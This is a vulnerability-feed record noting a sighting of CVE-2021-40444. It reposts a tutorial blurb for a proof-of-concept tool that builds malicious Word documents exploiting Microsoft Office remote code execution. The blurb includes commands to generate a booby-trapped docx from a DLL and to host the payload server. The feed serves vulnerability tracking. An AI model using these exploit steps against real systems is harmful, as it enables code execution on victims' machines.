{"uuid": "a6d9abec-b542-43a4-bb79-d4492038a2f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40444", "type": "seen", "source": "https://t.me/hacking_Attack/25022", "content": "Kali Linux Tutorials\nCVE-2021-40444 PoC : Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)\n\nCVE-2021-40444 PoC is a Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)\n\nCreation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)\n\nYou need to install lcab first (sudo apt-get install lcab)\n\nCheck REPRODUCE.mdfor manual reproduce steps\n\nIf your generated cab is not working, try pointing out exploit.html URL to calc.cab\n\nUsing\n\nFirst generate a malicious docx document given a DLL, you can use the one at test/calc.dllwhich just pops a calc.exefrom a call to system()\n\npython3 exploit.py generate test/calc.dll http://<srv\nhttps://1.bp.blogspot.com/-q4Qrx7Kd10w/YUSYEQDTIKI/AAAAAAAAK3w/rWAn8dYhzeo9G7J7CS_SIsi7AHjsGyrAACLcBGAsYHQ/s1007/1.png \nOnce you generate the malicious docx (will be at out/) you can setup the server:\n\nsudo python3 exploit.py host 80\nhttps://1.bp.blogspot.com/-M4bM8mj9wHQ/YUSZE58fPgI/AAAAAAAAK34/yfSeOeg_uPUFIO7r09C6jWuwUp5VJdzyACLcBGAsYHQ/s866/2.png \nFinally try the docx in a Windows Virtual Machine:\nhttps://1.bp.blogspot.com/-W1O2pPuOcdc/YUSZXkgQ8UI/AAAAAAAAK4A/OejDX89jfsEjS6K9u5kHcyYmKCg30TKqwCLcBGAsYHQ/s1473/3.png \n\nDownload", "creation_timestamp": "2026-09-01T20:02:20.799114Z"}